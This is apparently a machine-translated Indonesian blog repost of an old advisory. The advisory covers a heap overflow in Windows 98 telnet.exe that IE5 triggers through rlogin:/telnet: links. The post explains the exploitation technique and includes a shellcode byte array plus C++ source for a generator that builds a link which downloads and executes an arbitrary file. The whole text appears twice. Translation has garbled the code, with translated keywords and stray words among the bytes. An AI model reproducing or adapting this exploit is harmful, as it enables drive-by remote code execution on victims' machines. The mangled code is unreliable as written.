Heap Overflow di windows 98 Telnet.exe - jarak jauh melalui IE5 -------------------------------------------------- ---------- Jeremy Kothe (jeremy@edi.com.au atau paceflow@hotmail.com)
Lebih menyenangkan dan permainan milik Microsoft (c :)...
Telnet.exe - (77.824 bytes, 11 Mei 98) --------------------------------------- Versi Telnet (yang kapal sebagai bagian dari Windows 98) memiliki bug yang memungkinkan tumpukan overrun. Hal ini mengasumsikan bahwa argumen baris perintah pertama akan <255 chars ketika mempersiapkan untuk kotak "Connect Gagal"-pesan. The Akibatnya adalah bahwa beberapa byte penting dapat ditulis di atas, yang, seperti aplikasi telnet menutup, memungkinkan eksekusi penuh kode sewenang-wenang. Lihat di bawah untuk rincian lengkap ...
Ini masih semua lokal, meskipun, jadi mari kita melompat ke REMOTE bagian.
IE 5.00.2314.1003/5.00.2314.1003IC ---------------------------------- Internet Explorer secara otomatis memanggil telnet ketika diberi sebuah "rlogin:", "telnet:" atau "tn3270:" URL protokol. Sebelumnya versi IE yang saya bereksperimen dengan telah relatif pembatasan ketat pada format url, hanya mengizinkan dua parameter melalui (dua nol bagi anda dan saya;) Seperti ternyata, ini tidak cukup (bagi saya) untuk mengeksploitasi bug. Namun dengan versi yang disebutkan di atas, yang sampai tulisan menyertakan versi terbaru Microsoft akan membiarkan saya download, pembatasan tampaknya telah diangkat. Aku bisa hanya menganggap bahwa ini adalah baik yang tidak disengaja, atau bahwa tn3270 atau aplikasi telnet telah ditemukan yang membuat ini diinginkan ... Apapun! Hasil akhirnya adalah bahwa hal itu tampaknya versi terbaru dari IE 5 akan setia lulus setiap koleksi parameter sampai sekitar 460 chars ke telnet.exe.
Sistem beresiko --------------- Windows 98 default instalasi dengan versi BEBERAPA dari IE5. Jika Anda klik pada link, atau segar ke sebuah link, maka lihat telnet.exe pop-up, mengeluh bahwa ia tidak dapat terhubung ke alamat sampah-jenis, JANGAN tutup telnet yang dieksekusi. Sebaliknya, baik tegas mengakhiri proses, atau reboot. Mengeksploitasi TIDAK berlaku sampai telnet.exe adalah penutupan.
Solusi -------- Entah menghapus telnet.exe dari jalan, sehingga IE tidak dapat memulai , atau mendapatkan salinan dari telnet.exe WinNT.
Exploit - pengantar ---------------------- overruns Heap yang tidak menjadi lemah hati. Jika Anda memiliki berikut masalah eksploitasi stack overrun, hidupkan kembali sekarang - atau pergi dan belajar, kemudian kembali.
Dengan stack overflow, mendapatkan mesin untuk menjalankan ke buffer kita relatif mudah. Kami memiliki, setelah semua, ditimpa return address fungsi. Point ini (Langsung atau tidak) pada esp dan Anda berada dalam bisnis. Tanpa manfaat ini, kita memiliki waktu yang jauh lebih keras mengeksploitasi menyerbu. Bahkan sangatlah mungkin bahwa tidak ada mengeksploitasi mungkin.
Itu semua tergantung pada apa yang berikut buffer kami di memori.
Para calon terbaik untuk menimpa adalah pointer. Jika kita bisa menimpa salah satu program mana yang selanjutnya menggunakan, kita telah kesempatan untuk membuat sesuatu terjadi.
Caranya adalah dengan mengabaikan program apa yang coba lakukan, dan untuk melihat apa yang dilakukannya.
Satu inti ide saya telah menemukan menjadi nilai adalah ini: Salah satu cara untuk mendapatkan eksekusi ke stack adalah menemukan cara untuk memanipulasi kami tidak rusak stack. Sering kali Anda akan menemukan pointer ke stack (atau command-line) di suatu tempat tidak jauh dari atas (dari tumpukan). Jika dapat dipindah hanya beberapa byte, atau kita bisa bersekongkol untuk pop lebih dari yang kita dorong, kita kemudian dapat kembali ke kami buffer.
Exploit - Intermediate - (Tools: SoftICE / IDA / PSEDIT) -------------------------------------------------- - Para overrun kita disajikan dengan hanya handfull dari byte, hanya cukup untuk menimpa satu nilai pointer berikut buffer dalam memori. pointer ini, ternyata, awalnya menunjuk ke suatu array dari pointer 1024, yang NULL baik, atau titik pada gilirannya untuk struktur 16-byte. Dari konteks ini tampaknya menjadi file-handle tabel macam.
Ketika saya memeriksa rutin (fflush) di mana kita berakhir referensi pointer, ternyata kode beriterasi pada 1024 pointer, dan untuk setiap non-NULL masuk, itu mengkaji dan kondisional perubahan byte 16 struktur menunjuk. Ini adalah perubahan kita tertarik masuk
Jika struktur direpresentasikan sebagai:
DWORD dw1, dw2, dw3
maka efek dari perubahan tersebut:
dw1 = dw3
dw2 0 =
Sementara memeriksa berbagai lokasi dalam memori di mana keluar mengeksploitasi string berakhir sampai (ada beberapa, sebagai command-line mendapatkan berlalu, kemudian dipecah), saya menemukan satu tempat tersebut 4k berikut dialokasikan dan nol 99%.
Saya juga ditemukan di bagian atas, tumpukan sekitar 12 byte kembali, pointer ke kita mengeksploitasi string (winmain siapa lpCmdLine), yang masak untuk menyalin 8-byte untuk menimpa kembali alamat.
Nah idealnya, jika memori yang saya temukan adalah semua kosong, semua aku perlu dilakukan adalah mengatur byte trailing dari saya mengeksploitasi string untuk menunjuk ke tempat yang sesuai pada stack. DWORD terakhir ini, diikuti oleh 1024 DWORD nol, akan berfungsi sebagai meja menangani palsu yang akan menimpa kembali alamat dengan pointer ke kami mengeksploitasi.
Apakah Anda dengan saya ... Jika tidak, kembali sekarang.
Dalam kasus sebenarnya saya menemukan memang ada 1024 angka nol, tapi ada juga satu non-zero DWORD langsung setelah saya mengeksploitasi dan sebelum nol. Aku harus menghapus nilai untuk tabel untuk tidak crash ... jadi saya menggunakan yang sama teknik lagi untuk menghapusnya - menambahkan entri yang lain di bagian atas meja kami menunjuk ke lokasi yang menyinggung rapi menghapusnya, maka entri kedua tidak aktual kerja, dan sisanya dari tabel kosong.
Selesai. Lengkap. Pekerjaan.
Exploit Terlampir ---------------- Saya telah bekerja di luar mengeksploitasi yang download dan menjalankan sewenang-wenang file, dan telah memasukkan sumber untuk suatu Visual C + + program untuk membuat sebuah file biner yang berisi mengeksploitasi sebagai link. Ditambah (misalnya) html header dan footer, dan Anda memilikinya.
Catatan: mengeksploitasi menggunakan URLDownloadToCacheFile dan WinExec. Membongkar file biner akan menampilkan kode (String telah xor'ed dengan 0xFADE). Setiap komentar pada kode mengeksploitasi akan dihargai.
-------------------------------------------------- ---------- # Include <stdio.h> # Include <afx.h> # Include <windows.h>
Penggunaan void (void) {
printf ("Usage: url exfact (40) outfile \ n"); }
# Define URL_OFFSET 48
unsigned char aSploit [] = {
0x72, 0x6C, 0x6F, 0x67, 0x69, 0x6E, 0x3A, 0x33,
0xDB, 0x3B, 0xDB, 0x74, 0x53, 0xAB, 0x88, 0xB2,
0x97, 0xB1, 0x94, 0xF0, 0x9E, 0xB2, 0x96, 0xDE,
0xAF, 0x8C, 0xB6, 0x9A, 0x95, 0xA9, 0x94, 0xB2,
0x95, 0xBF, 0x9E, 0x8A, 0x95, 0x9D, 0x9B, 0xBD,
0x92, 0xBB, 0xBC, 0xB7, 0x96, 0xBB, 0xBB, 0xDE,
0x9C, 0xAA, 0x8A, 0xE4, 0xC8, 0xEE, 0xC9, 0xF0,
0xC9, 0xEE, 0xD4, 0xEC, 0xCB, 0xEC, 0xD4, 0xEF,
0xCA, 0x82, 0x9B, 0xF0, 0x9F, 0xA6, 0x9F, 0xDE,
0x92, 0xec, 0xC0, 0x9b, 0xb2, 0x66, 0x33, 0x53,
0xb9, 0x61, 0x35, 0xee, 0xd2, 0xae, 0xd4, 0xDE,
0xAD, 0xB7, 0x94, 0x9B, 0x82, 0xBB, 0x99, 0xDE,
0xB3, 0x01, 0xC1, 0xC3, 0x18, 0x8B, 0xD3, 0x8B,
0xF3, 0x66, 0xBA, 0xC0, 0x10, 0x8B, 0x12, 0x66,
0xBB, 0xB8, 0x10, 0x8B, 0x1B, 0x66, 0xBE, 0xC0,
0xC2, 0x8B, 0x36, 0x8B, 0x7C, 0x24, 0x04, 0x33,
0xC9, 0xB1, 0x2F, 0x66, 0x8B, 0x07 seperti, 0x66, 0x35,
0xDE, 0xFA, 0x66, 0x89, 0x07 seperti, 0x83, 0xC7, 0x02,
0xE0, 0xF1, 0x8B, 0x4C, 0x24, 0x04, 0x83, 0xC1,
0x06, 0x51, 0xFF, 0xD2, 0x8B, 0x4C, 0x24, 0x04,
0x83, 0xC1, 0x11, 0x51, 0x50, 0xFF, 0xD3, 0x8B,
0xD3, 0x8B, 0xD8, 0x8B, 0x4C, 0x24, 0x04, 0x83,
0xC1, 0x51, 0x51, 0x56, 0xFF, 0xD2, 0x8B, 0xF8,
0x8B, 0xEC, 0x81, 0xC4, 0xFF, 0xFB, 0xFF, 0xFF,
0x8B, 0x4D, 0x04, 0x83, 0xC1, 0x29, 0x33, 0xC0,
0x50, 0x50, 0x66, 0xB8, 0xFF, 0x03, 0x50, 0x8B,
0xC5, 0x05, 0xFF, 0xFB, 0xFF, 0xFF, 0x50, 0x51,
0x33, 0xC0, 0x50, 0xFF, 0xD3, 0x8B, 0xDC, 0x33,
0xC0, 0x50, 0x53, 0xFF, 0xD7, 0x33, 0xC0, 0x74,
0xFE, 0x62, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x28, 0x01, 0xB9, 0x20, 0x61, 0x88, 0xFD, 0x56,
0x20, 0x0C, 0x02, 0xB9, 0x20, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0xFC, 0x56, };
int main (int argc, char * argv []) {
if (argc == 3) {
DWORD dwURLlen = strlen +1 (argv [1]);
if (dwURLlen <40) {
h HANDLE = CreateFile (
argv [2],
GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
0,
0);
if (h == INVALID_HANDLE_VALUE) {
printf ("Kesalahan membuat% s \ n", argv [2]);
return (0);
}
DWORD dwWrit = 0;
if (WriteFile (h, aSploit, URL_OFFSET, & dwWrit, NULL)! | |
(DwWrit = URL_OFFSET!))
goto writeerr;
untuk (p * char = argv [1]; (* p) & & (* (p +1)); p + = 2)
* PWORD (p) ^ = 0xdefa; / / 0xfade "little-endian" ed - harus menggunakan htons?
* PWORD (p) ^ = 0xdefa;
! If (WriteFile (h, argv [1], dwURLlen, & dwWrit, NULL) | |
(DwWrit = dwURLlen!))
goto writeerr;
DWORD dwToWrite = sizeof (aSploit) - (URL_OFFSET + dwURLlen);
if (WriteFile (h, & aSploit [URL_OFFSET + dwURLlen], dwToWrite,!
& DwWrit, NULL) | | (dwWrit = dwToWrite))!
goto writeerr;
CloseHandle (h);
return (0);
}
}
Penggunaan ();
kembali (1);
writeerr:
printf ("Kesalahan menulis ke% s \ n", argv [2]);
return (2); }
Lebih menyenangkan dan permainan milik Microsoft (c :)...
Telnet.exe - (77.824 bytes, 11 Mei 98) --------------------------------------- Versi Telnet (yang kapal sebagai bagian dari Windows 98) memiliki bug yang memungkinkan tumpukan overrun. Hal ini mengasumsikan bahwa argumen baris perintah pertama akan <255 chars ketika mempersiapkan untuk kotak "Connect Gagal"-pesan. The Akibatnya adalah bahwa beberapa byte penting dapat ditulis di atas, yang, seperti aplikasi telnet menutup, memungkinkan eksekusi penuh kode sewenang-wenang. Lihat di bawah untuk rincian lengkap ...
Ini masih semua lokal, meskipun, jadi mari kita melompat ke REMOTE bagian.
IE 5.00.2314.1003/5.00.2314.1003IC ---------------------------------- Internet Explorer secara otomatis memanggil telnet ketika diberi sebuah "rlogin:", "telnet:" atau "tn3270:" URL protokol. Sebelumnya versi IE yang saya bereksperimen dengan telah relatif pembatasan ketat pada format url, hanya mengizinkan dua parameter melalui (dua nol bagi anda dan saya;) Seperti ternyata, ini tidak cukup (bagi saya) untuk mengeksploitasi bug. Namun dengan versi yang disebutkan di atas, yang sampai tulisan menyertakan versi terbaru Microsoft akan membiarkan saya download, pembatasan tampaknya telah diangkat. Aku bisa hanya menganggap bahwa ini adalah baik yang tidak disengaja, atau bahwa tn3270 atau aplikasi telnet telah ditemukan yang membuat ini diinginkan ... Apapun! Hasil akhirnya adalah bahwa hal itu tampaknya versi terbaru dari IE 5 akan setia lulus setiap koleksi parameter sampai sekitar 460 chars ke telnet.exe.
Sistem beresiko --------------- Windows 98 default instalasi dengan versi BEBERAPA dari IE5. Jika Anda klik pada link, atau segar ke sebuah link, maka lihat telnet.exe pop-up, mengeluh bahwa ia tidak dapat terhubung ke alamat sampah-jenis, JANGAN tutup telnet yang dieksekusi. Sebaliknya, baik tegas mengakhiri proses, atau reboot. Mengeksploitasi TIDAK berlaku sampai telnet.exe adalah penutupan.
Solusi -------- Entah menghapus telnet.exe dari jalan, sehingga IE tidak dapat memulai , atau mendapatkan salinan dari telnet.exe WinNT.
Exploit - pengantar ---------------------- overruns Heap yang tidak menjadi lemah hati. Jika Anda memiliki berikut masalah eksploitasi stack overrun, hidupkan kembali sekarang - atau pergi dan belajar, kemudian kembali.
Dengan stack overflow, mendapatkan mesin untuk menjalankan ke buffer kita relatif mudah. Kami memiliki, setelah semua, ditimpa return address fungsi. Point ini (Langsung atau tidak) pada esp dan Anda berada dalam bisnis. Tanpa manfaat ini, kita memiliki waktu yang jauh lebih keras mengeksploitasi menyerbu. Bahkan sangatlah mungkin bahwa tidak ada mengeksploitasi mungkin.
Itu semua tergantung pada apa yang berikut buffer kami di memori.
Para calon terbaik untuk menimpa adalah pointer. Jika kita bisa menimpa salah satu program mana yang selanjutnya menggunakan, kita telah kesempatan untuk membuat sesuatu terjadi.
Caranya adalah dengan mengabaikan program apa yang coba lakukan, dan untuk melihat apa yang dilakukannya.
Satu inti ide saya telah menemukan menjadi nilai adalah ini: Salah satu cara untuk mendapatkan eksekusi ke stack adalah menemukan cara untuk memanipulasi kami tidak rusak stack. Sering kali Anda akan menemukan pointer ke stack (atau command-line) di suatu tempat tidak jauh dari atas (dari tumpukan). Jika dapat dipindah hanya beberapa byte, atau kita bisa bersekongkol untuk pop lebih dari yang kita dorong, kita kemudian dapat kembali ke kami buffer.
Exploit - Intermediate - (Tools: SoftICE / IDA / PSEDIT) -------------------------------------------------- - Para overrun kita disajikan dengan hanya handfull dari byte, hanya cukup untuk menimpa satu nilai pointer berikut buffer dalam memori. pointer ini, ternyata, awalnya menunjuk ke suatu array dari pointer 1024, yang NULL baik, atau titik pada gilirannya untuk struktur 16-byte. Dari konteks ini tampaknya menjadi file-handle tabel macam.
Ketika saya memeriksa rutin (fflush) di mana kita berakhir referensi pointer, ternyata kode beriterasi pada 1024 pointer, dan untuk setiap non-NULL masuk, itu mengkaji dan kondisional perubahan byte 16 struktur menunjuk. Ini adalah perubahan kita tertarik masuk
Jika struktur direpresentasikan sebagai:
DWORD dw1, dw2, dw3
maka efek dari perubahan tersebut:
dw1 = dw3
dw2 0 =
Sementara memeriksa berbagai lokasi dalam memori di mana keluar mengeksploitasi string berakhir sampai (ada beberapa, sebagai command-line mendapatkan berlalu, kemudian dipecah), saya menemukan satu tempat tersebut 4k berikut dialokasikan dan nol 99%.
Saya juga ditemukan di bagian atas, tumpukan sekitar 12 byte kembali, pointer ke kita mengeksploitasi string (winmain siapa lpCmdLine), yang masak untuk menyalin 8-byte untuk menimpa kembali alamat.
Nah idealnya, jika memori yang saya temukan adalah semua kosong, semua aku perlu dilakukan adalah mengatur byte trailing dari saya mengeksploitasi string untuk menunjuk ke tempat yang sesuai pada stack. DWORD terakhir ini, diikuti oleh 1024 DWORD nol, akan berfungsi sebagai meja menangani palsu yang akan menimpa kembali alamat dengan pointer ke kami mengeksploitasi.
Apakah Anda dengan saya ... Jika tidak, kembali sekarang.
Dalam kasus sebenarnya saya menemukan memang ada 1024 angka nol, tapi ada juga satu non-zero DWORD langsung setelah saya mengeksploitasi dan sebelum nol. Aku harus menghapus nilai untuk tabel untuk tidak crash ... jadi saya menggunakan yang sama teknik lagi untuk menghapusnya - menambahkan entri yang lain di bagian atas meja kami menunjuk ke lokasi yang menyinggung rapi menghapusnya, maka entri kedua tidak aktual kerja, dan sisanya dari tabel kosong.
Selesai. Lengkap. Pekerjaan.
Exploit Terlampir ---------------- Saya telah bekerja di luar mengeksploitasi yang download dan menjalankan sewenang-wenang file, dan telah memasukkan sumber untuk suatu Visual C + + program untuk membuat sebuah file biner yang berisi mengeksploitasi sebagai link. Ditambah (misalnya) html header dan footer, dan Anda memilikinya.
Catatan: mengeksploitasi menggunakan URLDownloadToCacheFile dan WinExec. Membongkar file biner akan menampilkan kode (String telah xor'ed dengan 0xFADE). Setiap komentar pada kode mengeksploitasi akan dihargai.
-------------------------------------------------- ---------- # Include <stdio.h> # Include <afx.h> # Include <windows.h>
Penggunaan void (void) {
printf ("Usage: url exfact (40) outfile \ n"); }
# Define URL_OFFSET 48
unsigned char aSploit [] = {
0x72, 0x6C, 0x6F, 0x67, 0x69, 0x6E, 0x3A, 0x33,
0xDB, 0x3B, 0xDB, 0x74, 0x53, 0xAB, 0x88, 0xB2,
0x97, 0xB1, 0x94, 0xF0, 0x9E, 0xB2, 0x96, 0xDE,
0xAF, 0x8C, 0xB6, 0x9A, 0x95, 0xA9, 0x94, 0xB2,
0x95, 0xBF, 0x9E, 0x8A, 0x95, 0x9D, 0x9B, 0xBD,
0x92, 0xBB, 0xBC, 0xB7, 0x96, 0xBB, 0xBB, 0xDE,
0x9C, 0xAA, 0x8A, 0xE4, 0xC8, 0xEE, 0xC9, 0xF0,
0xC9, 0xEE, 0xD4, 0xEC, 0xCB, 0xEC, 0xD4, 0xEF,
0xCA, 0x82, 0x9B, 0xF0, 0x9F, 0xA6, 0x9F, 0xDE,
0x92, 0xec, 0xC0, 0x9b, 0xb2, 0x66, 0x33, 0x53,
0xb9, 0x61, 0x35, 0xee, 0xd2, 0xae, 0xd4, 0xDE,
0xAD, 0xB7, 0x94, 0x9B, 0x82, 0xBB, 0x99, 0xDE,
0xB3, 0x01, 0xC1, 0xC3, 0x18, 0x8B, 0xD3, 0x8B,
0xF3, 0x66, 0xBA, 0xC0, 0x10, 0x8B, 0x12, 0x66,
0xBB, 0xB8, 0x10, 0x8B, 0x1B, 0x66, 0xBE, 0xC0,
0xC2, 0x8B, 0x36, 0x8B, 0x7C, 0x24, 0x04, 0x33,
0xC9, 0xB1, 0x2F, 0x66, 0x8B, 0x07 seperti, 0x66, 0x35,
0xDE, 0xFA, 0x66, 0x89, 0x07 seperti, 0x83, 0xC7, 0x02,
0xE0, 0xF1, 0x8B, 0x4C, 0x24, 0x04, 0x83, 0xC1,
0x06, 0x51, 0xFF, 0xD2, 0x8B, 0x4C, 0x24, 0x04,
0x83, 0xC1, 0x11, 0x51, 0x50, 0xFF, 0xD3, 0x8B,
0xD3, 0x8B, 0xD8, 0x8B, 0x4C, 0x24, 0x04, 0x83,
0xC1, 0x51, 0x51, 0x56, 0xFF, 0xD2, 0x8B, 0xF8,
0x8B, 0xEC, 0x81, 0xC4, 0xFF, 0xFB, 0xFF, 0xFF,
0x8B, 0x4D, 0x04, 0x83, 0xC1, 0x29, 0x33, 0xC0,
0x50, 0x50, 0x66, 0xB8, 0xFF, 0x03, 0x50, 0x8B,
0xC5, 0x05, 0xFF, 0xFB, 0xFF, 0xFF, 0x50, 0x51,
0x33, 0xC0, 0x50, 0xFF, 0xD3, 0x8B, 0xDC, 0x33,
0xC0, 0x50, 0x53, 0xFF, 0xD7, 0x33, 0xC0, 0x74,
0xFE, 0x62, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x28, 0x01, 0xB9, 0x20, 0x61, 0x88, 0xFD, 0x56,
0x20, 0x0C, 0x02, 0xB9, 0x20, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0xFC, 0x56, };
int main (int argc, char * argv []) {
if (argc == 3) {
DWORD dwURLlen = strlen +1 (argv [1]);
if (dwURLlen <40) {
h HANDLE = CreateFile (
argv [2],
GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
0,
0);
if (h == INVALID_HANDLE_VALUE) {
printf ("Kesalahan membuat% s \ n", argv [2]);
return (0);
}
DWORD dwWrit = 0;
if (WriteFile (h, aSploit, URL_OFFSET, & dwWrit, NULL)! | |
(DwWrit = URL_OFFSET!))
goto writeerr;
untuk (p * char = argv [1]; (* p) & & (* (p +1)); p + = 2)
* PWORD (p) ^ = 0xdefa; / / 0xfade "little-endian" ed - harus menggunakan htons?
* PWORD (p) ^ = 0xdefa;
! If (WriteFile (h, argv [1], dwURLlen, & dwWrit, NULL) | |
(DwWrit = dwURLlen!))
goto writeerr;
DWORD dwToWrite = sizeof (aSploit) - (URL_OFFSET + dwURLlen);
if (WriteFile (h, & aSploit [URL_OFFSET + dwURLlen], dwToWrite,!
& DwWrit, NULL) | | (dwWrit = dwToWrite))!
goto writeerr;
CloseHandle (h);
return (0);
}
}
Penggunaan ();
kembali (1);
writeerr:
printf ("Kesalahan menulis ke% s \ n", argv [2]);
return (2); }
0 komentar:
Posting Komentar